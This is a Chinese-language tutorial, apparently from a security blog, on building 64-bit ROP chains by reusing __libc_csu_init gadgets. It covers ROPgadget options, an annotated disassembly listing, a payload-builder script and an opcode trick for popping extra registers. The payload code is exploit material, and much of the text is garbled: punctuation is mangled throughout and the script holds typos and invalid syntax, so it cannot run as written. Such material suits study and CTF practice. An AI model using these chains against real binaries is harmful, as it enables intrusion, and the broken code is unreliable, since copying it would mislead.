「安全漏洞」利用__libc_csu_init控制64位暫存器

「安全漏洞」利用__libc_csu_init控制64位暫存器

利用ROPgadget尋找ROP

usage: ROPgadget。py [-h] [-v] [-c] [——binary ] [——opcode ] [——string ] [——memstr ] [——depth ] [——only ] [——filter ] [——range ] [——badbytes ] [——rawArch ] [——rawMode ] [——rawEndian ] [——re ] [——offset ] [——ropchain] [——thumb] [——console] [——norop] [——nojop] [——callPreceded] [——nosys] [——multibr] [——all] [——noinstr] [——dump]引數 -h, ——help 顯示幫助文件 -v, ——version 版本號 -c, ——checkUpdate 檢測新版本是否可用 ——binary 指定二進位制檔案進行分析 ——opcode 在可執行段中查詢opcode ——string 在可讀的段中查詢字串 ——memstr 查詢單個byte在所有的可執行段中 ——depth 搜尋引擎的深度 ——only 只顯示特別的指令 ——filter 過濾特定指令 ——range 在地址之間尋找(0x。。。-0x。。。) ——badbytes 拒絕特定指令在gadget的地址下 ——rawArch 指定檔案架構 ——rawMode 指定原始檔的mode ——rawEndian 指定原始檔的endianness ——re 正則表示式 ——offset 指定gadget的地址偏移 ——ropchain ROP chain的生成 ——thumb 在ARM架構下使用搜索引擎thumb 模式 ——console 使用互動終端對於搜尋引擎 ——norop 禁止ROP搜尋引擎 ——nojop 禁止JOP搜尋引擎 ——callPreceded 僅顯示call-preceded的gadgets ——nosys 禁止SYS搜尋引擎 ——multibr 允許多分枝gadgets ——all 禁止刪除重複的gadgets,即顯示所有 ——noinstr 禁止gadget指令終端列印 ——dump 輸出gadget bytes

舉個例子

「安全漏洞」利用__libc_csu_init控制64位暫存器

但是對於64位的來說 ROPgadget預設的長度是不夠的

所以 我們可以使用

ROPgadget ——binary 。/b ——depth 100

來加深他的搜尋深度

「安全漏洞」利用__libc_csu_init控制64位暫存器

利用_libc_csu_init製造ROP

常規方法

我們前面說的利用ROPgadget來尋找,大多都是找到直接設定某個暫存器的rop,當然也可以使用

——ropchain

這個引數

下面看看利用_libc_csu_init製造rop

; void _libc_csu_init(void)。text:0000000000400650 public __libc_csu_init。text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o。text:0000000000400650 ; __unwind {。text:0000000000400650 41 57 push r15。text:0000000000400652 41 89 FF mov r15d, edi。text:0000000000400655 41 56 push r14。text:0000000000400657 49 89 F6 mov r14, rsi。text:000000000040065A 41 55 push r13。text:000000000040065C 49 89 D5 mov r13, rdx。text:000000000040065F 41 54 push r12。text:0000000000400661 4C 8D 25 D8 01 20 00 lea r12, __frame_dummy_init_array_entry。text:0000000000400668 55 push rbp。text:0000000000400669 48 8D 2D D8 01 20 00 lea rbp, __do_global_dtors_aux_fini_array_entry。text:0000000000400670 53 push rbx。text:0000000000400671 4C 29 E5 sub rbp, r12。text:0000000000400674 31 DB xor ebx, ebx。text:0000000000400676 48 C1 FD 03 sar rbp, 3。text:000000000040067A 48 83 EC 08 sub rsp, 8。text:000000000040067E E8 FD FD FF FF call _init_proc。text:0000000000400683 48 85 ED test rbp, rbp。text:0000000000400686 74 1E jz short loc_4006A6。text:0000000000400688 0F 1F 84 00 00 00 00 00 nop dword ptr [rax+rax+00000000h]。text:0000000000400690。text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j。text:0000000000400690 4C 89 EA mov rdx, r13。text:0000000000400693 4C 89 F6 mov rsi, r14。text:0000000000400696 44 89 FF mov edi, r15d。text:0000000000400699 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]。text:000000000040069D 48 83 C3 01 add rbx, 1。text:00000000004006A1 48 39 EB cmp rbx, rbp。text:00000000004006A4 75 EA jnz short loc_400690。text:00000000004006A6。text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j。text:00000000004006A6 48 83 C4 08 add rsp, 8。text:00000000004006AA 5B pop rbx。text:00000000004006AB 5D pop rbp。text:00000000004006AC 41 5C pop r12。text:00000000004006AE 41 5D pop r13。text:00000000004006B0 41 5E pop r14。text:00000000004006B2 41 5F pop r15。text:00000000004006B4 C3 retn。text:00000000004006B4 ; } // starts at 400650。text:00000000004006B4 __libc_csu_init endp

這裡我們首先可以利用的點:

從0x00000000004006AA一直到結尾,我們可以利用溢位構造棧上資料來控制

rbx、rbp、r12、r13、r14、r15

暫存器的資料。如下:

。text:00000000004006AA 5B pop rbx。text:00000000004006AB 5D pop rbp。text:00000000004006AC 41 5C pop r12 (=>call addr)。text:00000000004006AE 41 5D pop r13 (=>rdx)。text:00000000004006B0 41 5E pop r14 (=>rsi)。text:00000000004006B2 41 5F pop r15 (=>rdi)。text:00000000004006B4 C3 retn。text:00000000004006B4 ; } // starts at 400650。text:00000000004006B4 __libc_csu_init endp

另外,我們可以從0x0000000000400690到0x0000000000400696,將r13賦值給rdx、將r14賦值給rsi、將r15d賦值給edi,但在除錯的過程中,會發現rdi的高32位置0,所以我們可以控制

rdx、rsi、rdi

,我們可以利用上面的控制

r12、rbx

(r12=addr rbx=0)來控制跳轉地址,我們也可以(r12=0,rbx=0)實現不跳轉到其他地方

。text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j。text:0000000000400690 4C 89 EA mov rdx, r13。text:0000000000400693 4C 89 F6 mov rsi, r14。text:0000000000400696 44 89 FF mov edi, r15d。text:0000000000400699 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]

從0x000000000040069D到0x00000000004006A4,我們可以控制rbx與rbp的關係為rbx + 1 = rbp,這樣我們就不會重複執行上面的loc_400690了,如果要串起來,

rbx=0 rbp=1

。text:000000000040069D 48 83 C3 01 add rbx, 1。text:00000000004006A1 48 39 EB cmp rbx, rbp。text:00000000004006A4 75 EA jnz short loc_400690

總結一下上面的常規利用方法的指令碼:

gadget1 = 0x04006AAgadget2 = 0x0400690 //控制rbx、rbp、r12、r13、r14、r15csu_end(rbx,rbp,r12,r13,r14,r15): payload = p64(rbx)+p64(rbp)+r64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(gadget1) return payload //如果要跳轉到另外一個地址就傳入地址 不跳轉直接預設//addr1是中途可以跳轉的地址 addr2是最後可以跳轉的地址//控制rdx、rsi、rdicsu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef): payload = csu_end(0,1,addr1,rdx,rsi,rdi) payload+= p64(gadget2)+‘a’*(8*6+0x8)+p64(addr2)//0x8是填充原來的 8*6實際是csu_end的六個地址 return payload//addr1設定成需要跳轉的地址 addr2設定成gadget2 可以進行一個迴圈的利用payload = csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2)payload+= csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2) //當然你可以把上面的8*6改換成rbx、rbp、r12、r13、r14、r15,csu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef,rbx,rbp,r12,r13,r14,r15): payload = csu_end(0,1,addr1,rdx,rsi,rdi) payload+= p64(gadget2)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+‘a’*(0x8)+p64(addr2) return payload//我記得這個可以用來繞過沙箱,但那個題我找不到了 當然用其他gadget也可以

opcode

上面說的是一個常規的用法,還有一種用法是關於opcode的

。text:00000000004006AA 5B pop rbx(=>0)。text:00000000004006AB 5D pop rbp (=>1)。text:00000000004006AC 41 5C pop r12 (=>call addr)。text:00000000004006AE 41 5D pop r13 (=>rdx)。text:00000000004006B0 41 5E pop r14 (=>rsi)。text:00000000004006B2 41 5F pop r15 (=>rdi)。text:00000000004006B4 C3 retn。text:00000000004006B4 ; } // starts at 400650。text:00000000004006B4 __libc_csu_init endp

pop rbx ————-> 5B

pop rbp ————-> 5D

pop r12 ————-> 41 5C

pop r13 ————-> 41 5D

pop r14 ————-> 41 5E

pop r15 ————-> 41 5F

是的,

pop r13

只比

pop rbp

多一個

41

,其他的暫存器也是一樣的

pop r12 ————-> pop rsp

pop r13 ————-> pop rbp

pop r14 ————-> pop rsi

pop r15 ————-> pop rdi

這一下,我們現在就可以增加控制3個暫存器了,現在我們可以控制

rbx、rbp、r12、r13、r14、r15、rdx、rsi、rdi、rsp、rsi

,但是似乎不可能有什麼要同時控制這麼多暫存器的,寫出來指令碼也沒有什麼意義

其他控制暫存器的方法

控制rax

gets、fgets回傳buff(rax=rdi)

strcpy,strncpy

alarm

控制rcx

strcpy可能會讓ecx = 輸入字串

有些函式的返回值可能會影響暫存器,這些地方還是比較隱蔽的

參考文獻

「安全漏洞」利用__libc_csu_init控制64位暫存器

關注私我,獲取【

網路安全學習攻略·資料